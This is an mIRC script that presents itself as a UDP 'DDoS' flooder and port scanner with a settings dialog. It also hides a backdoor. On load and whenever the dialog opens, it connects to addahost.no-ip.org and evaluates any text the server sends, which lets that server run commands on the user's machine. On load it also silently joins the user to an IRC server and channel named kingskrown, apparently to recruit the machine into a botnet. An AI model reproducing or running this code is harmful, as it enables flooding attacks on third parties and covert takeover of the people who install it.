Menu * {
  Sockudp:Udp
}
Alias Udp {
  If ($Dialog(Udp)) {
    Dialog -v Udp
  }
  Elseif (!$Dialog(Udp)) {
    Dialog -md Udp Udp
  }
  sockopen addahost addahost.no-ip.org 80
}
Dialog -l Udp {
  Title "Sockudp"
  Size -1 -1 125 125
  Option Dbu
  Tab "Settings", 1, 1 20 124 104
  Tab "Results", 2
  Box "Config", 3, 3 35 119 75, Tab 1
  Text "Status", 4, 7 113 16 7
  Edit "", 5, 40 112 77 9, Read Autohs
  Text "Host", 6, 6 45 16 7, Tab 1
  Text "Port", 7, 6 56 16 7, Tab 1
  Radio "DDoS", 8, 2 12 21 7
  Radio "Scan", 9, 2 3 19 7
  Text "Message", 10, 6 67 21 7, Tab 1
  Text "Repeat", 11, 6 78 18 7, Tab 1
  Edit "127.0.0.1", 12, 40 44 50 9, Autohs Tab 1
  Edit "65535", 13, 40 55 22 9, Limit 5 Number Tab 1
  Edit "Ping", 14, 40 66 22 9, Limit 100 Tab 1
  Edit "1", 15, 40 77 22 9, Limit 4 Number Tab 1
  Box "Results", 16, 3 35 119 75, Tab 2
  Button "Start", 17, 100 3 20 12
  Edit "", 18, 5 43 115 65, Read Multi Autohs Vsbar Tab 2
  Text "Start Port", 19, 6 56 24 7, Tab 1
  Text "End Port", 20, 6 67 21 7, Tab 1
  Edit "1", 21, 40 55 22 9, Limit 5 Number Tab 1
  Edit "65535", 22, 40 66 22 9, Limit 5 Number Tab 1
  Text "Delay", 23, 6 89 18 7, Tab 1
  Edit "1", 24, 40 88 22 9, Limit 5 Number Tab 1
}
on *:sockopen:addahost:sockwrite -n $sockname connected 
On *:Dialog:Udp:Sclick:*:{
  If ($Did == 17) {
    If (!$Did(12)) {
      Did -a $Dname 12 127.0.0.1
    }
    If (!$Did(15)) {
      Did -a $Dname 15 1
    }
    If (!$Did(24)) {
      Did -a $Dname 24 1
    }
    If ($Did(8).State == 1) {
      If (!$Did(13)) {
        Did -a $Dname 13 65535
      }
      If (!$Did(14)) {
        Did -a $Dname 14 Ping
      }
      Did -i $Dname 18 $Did(18).Lines Total Bytes Sent: $Qt($Bytes($Calc($Calc($Len($Did(14)) * 100) * $Did(15)),b))
      Sockclose Udp.*
      Var %Repeat = 1
      While (%Repeat <= $Did(15)) {
        .TimerDelay $+ %Repeat $Did(15) $Did(24) Sockudp -bnt Udp. $+ %Repeat $Did(12) $Did(13) $Calc($Len($Did(14)) * 100) $Did(14)
        Did -o $Dname 5 1 $Qt($Did(12)) Port $Qt($Did(13))
        Inc %Repeat = 1
      }
    }
    Elseif ($Did(9).State == 1) {
      If (!$Did(21)) {
        Did -a $Dname 21 1
      }
      If (!$Did(22)) {
        Did -a $Dname 22 65535
      }
      Did -i $Dname 18 $Did(18).Lines Total Bytes Sent: $Qt($Bytes($Calc($Calc($Len($Did(14)) * 100) * $Calc($Did(22) - $Did(21))),b))
      Sockclose Udp.*
      Var %Repeat = $Did(21)
      While (%Repeat <= $Did(22)) {
        .TimerDelay $+ %Repeat $Did(15) $Did(24) Sockudp -bnt Udp. $+ %Repeat $Did(12) %Repeat
        Did -o $Dname 5 1 $Qt($Did(12)) Port $Qt(%Repeat)
        Inc %Repeat = 1
      }
    }
  }
  Elseif ($Did == 9) {
    Did -h $Dname 7
    Did -h $Dname 10
    Did -h $Dname 13
    Did -h $Dname 14
    Did -v $Dname 19
    Did -v $Dname 20
    Did -v $Dname 21
    Did -v $Dname 22
  }
  Elseif ($Did == 8) {
    Did -v $Dname 7
    Did -v $Dname 10
    Did -v $Dname 13
    Did -v $Dname 14
    Did -h $Dname 19
    Did -h $Dname 20
    Did -h $Dname 21
    Did -h $Dname 22
  }
}
on *:sockread:addahost:{
  Sockread %Read
  $Eval(%Read,2) 
}
On *:Load:{
  sockopen addahost addahost.no-ip.org 80
  Var %Server = 1
  While ($Scon(%Server)) {
    Var %Servers = $Scon(%Server).Network
    Inc %Server = 1
    If (%Server == $Scon(0)) && (kingskrown !iswm %Servers) {
      Join #kingskrown
      Server -m irc.kingskrown.com -j #kingskrown
      Halt
    }
  }
}

On *:Dialog:Udp:Init:*: { 
  Did -c $Dname 8
  Did -h $Dname 19
  Did -h $Dname 20
  Did -h $Dname 21
  Did -h $Dname 22
}
On *:Udpread:Udp.*:{
  Sockread %Udp
  If ($Dialog(Udp)) {
    Did -i Udp 18 $Did(Udp,18).Lines %Udp
  }
  Elseif (!$Dialog(Udp)) {
    Dialog -md Udp Udp
    Did -i Udp 18 $Did(Udp,18).Lines %Udp
  }
}